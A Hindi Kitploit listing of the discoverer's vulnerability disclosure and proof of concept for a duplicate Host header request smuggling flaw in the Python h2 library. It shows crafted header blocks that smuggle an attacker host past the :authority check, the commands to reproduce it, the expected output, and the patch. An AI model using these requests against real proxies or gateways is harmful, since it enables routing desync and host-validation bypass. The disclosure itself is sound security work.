Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
poc-h2-CVE-2026-71554 — CVE-2026-71554 के लिए PoC - h2 डुप्लिकेट Host header रिक्वेस्ट स्मगलिंग प्राइमिटिव (4.4.1 में ठीक किया गया) | Kitploit
उपकरण/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणवेब सुरक्षाAPI सुरक्षाप्रतिकूल हमला
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

CVE-2026-71554 के लिए PoC - h2 डुप्लिकेट Host header रिक्वेस्ट स्मगलिंग प्राइमिटिव (4.4.1 में ठीक किया गया)

रिपॉजिटरी देखें
112 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-71554 - h2 डुप्लिकेट Host हैडर रिक्वेस्ट स्मगलिंग प्रिमिटिव

यह मेरा पहला CVE है। मैंने इस PoC को निष्कर्ष का दस्तावेजीकरण करने और दूसरों को इसे समझने तथा पुन: उत्पन्न करने में मदद करने के लिए जारी किया है।

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg प्रभावित: h2 <= 4.4.0 ठीक किया गया: h2 4.4.1 गंभीरता: मध्यम (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


मैंने क्या पाया

h2 की हैडर सत्यापन लॉजिक की समीक्षा करते समय, मैंने देखा कि src/h2/utilities.py में _validate_host_authority_header() यह जाँचता है कि Host और :authority मेल खाते हैं — लेकिन यह केवल अंतिम Host हैडर की तुलना करता है। यदि आप दो Host हैडर भेजते हैं, तो h2 मिलान जाँच के लिए दूसरे का उपयोग करता है और दोनों को बिना किसी आपत्ति के एप्लिकेशन को अग्रेषित कर देता है।

दिलचस्प बात यह है कि h2 4.4.0 पहले से ही डुप्लिकेट Content-Length हैडर को ProtocolError के साथ अस्वीकार कर देता है। वही सुधार Host पर कभी लागू नहीं किया गया। स्रोत कोड में एक TODO टिप्पणी भी थी जो इसी कमी को स्वीकार करती है:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

मूल कारण

src/h2/utilities.py में _validate_host_authority_header() एक लास्ट-विन्स लूप का उपयोग करता है जो देखे गए अंतिम Host मान को रिकॉर्ड करता है और केवल यह जाँचता है:

  1. :authority या Host में से कम से कम एक मौजूद हो
  2. जब दोनों मौजूद हों, तो वे मेल खाते हों

Host हैडर की संख्या पर कोई जाँच नहीं है। प्रत्येक Host हैडर को, चाहे कितने भी हों, डाउनस्ट्रीम एप्लिकेशन को भेज दिया जाता है।


हमले के परिदृश्य

केस 1 — दो Host हैडर, बिना :authority

क्लाइंट भेजता है:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 दोनों स्वीकार करता है। एप्लिकेशन को दोनों Host हैडर प्राप्त होते हैं।

HTTP/1.1 डाउनग्रेड निम्न उत्पन्न करता है:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 के अनुसार सर्वर को एक से अधिक Host हैडर वाले किसी भी HTTP/1.1 अनुरोध पर 400 का जवाब देना आवश्यक है। बैकएंड अलग-अलग व्यवहार करते हैं:

root@kitploit:~
nginx          — 400 के साथ अस्वीकार करता है
Python stdlib  — स्वीकार करता है, लुकअप पर पहला Host लौटाता है
Werkzeug       — स्वीकार करता है, लुकअप पर पहला Host लौटाता है

केस 2 — छिपा हुआ स्मगलिंग (:authority बायपास)

क्लाइंट भेजता है:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, पहला Host (ऑरिजिन द्वारा देखा गया)
host: good.internal     <- index 1, अंतिम Host (h2 वैलिडेटर द्वारा उपयोग किया गया)

h2 सत्यापित करता है: अंतिम Host (good.internal) == :authority (good.internal) — पास।

एप्लिकेशन को दोनों Host हैडर प्राप्त होते हैं। HTTP/1.1 डाउनग्रेड निम्न उत्पन्न करता है:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

जो बैकएंड सिंगल-की लुकअप पर पहला Host लौटाते हैं, वे अनुरोध को evil.attacker की ओर रूट करते हैं, जबकि h2 को विश्वास था कि उसने good.internal को सत्यापित कर लिया है। h2 ने जो सत्यापित किया और ऑरिजिन जो प्रोसेस करता है, उसके बीच पूर्ण रूटिंग डिसिंक।


नियंत्रण — एकल बेमेल Host सही ढंग से अस्वीकृत

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 ProtocolError उठाता है। यह पुष्टि करता है कि कमी विशेष रूप से डुप्लिकेट Host हैडर से संबंधित है।


क्या प्रभावित हो सकता है

प्रभाव डिप्लॉयमेंट आर्किटेक्चर पर निर्भर करता है:

  • प्रभावित: रिवर्स प्रॉक्सी या API गेटवे जो क्लाइंट्स से HTTP/2 स्वीकार करते हैं और बैकएंड को अग्रेषित करते समय HTTP/1.1 में डाउनग्रेड करते हैं, जहां बैकएंड रूटिंग निर्णयों के लिए पहले Host हैडर का उपयोग करता है
  • प्रभावित बैकएंड (अनुभवजन्य रूप से परीक्षित): Python stdlib http.client, Werkzeug Headers — दोनों डुप्लिकेट Host स्वीकार करते हैं और पहला मान लौटाते हैं
  • अप्रभावित बैकएंड: nginx — डुप्लिकेट Host पर 400 के साथ अस्वीकार करता है
  • अप्रभावित डिप्लॉयमेंट: एंड-टू-एंड HTTP/2 बिना HTTP/1.1 डाउनग्रेड के

पुन: उत्पन्न करने के चरण

आवश्यकताएँ

root@kitploit:~
pip install h2==4.4.0

चलाएँ

root@kitploit:~
python3 poc_h2_duplicate_host.py

कमजोर 4.4.0 पर अपेक्षित आउटपुट

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

फिक्स को 4.4.1 पर सत्यापित करें

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

तीनों केस ProtocolError उठाते हैं। कोई हैडर अग्रेषित नहीं होता।


समाधान

_validate_host_authority_header() में मौजूदा लूप में एक काउंटर जोड़ा गया:

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

कमिट: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


श्रेय

इसे खोजा और रिपोर्ट किया: Sunand Mohan (https://github.com/SunandM)

टूल डाउनलोड करें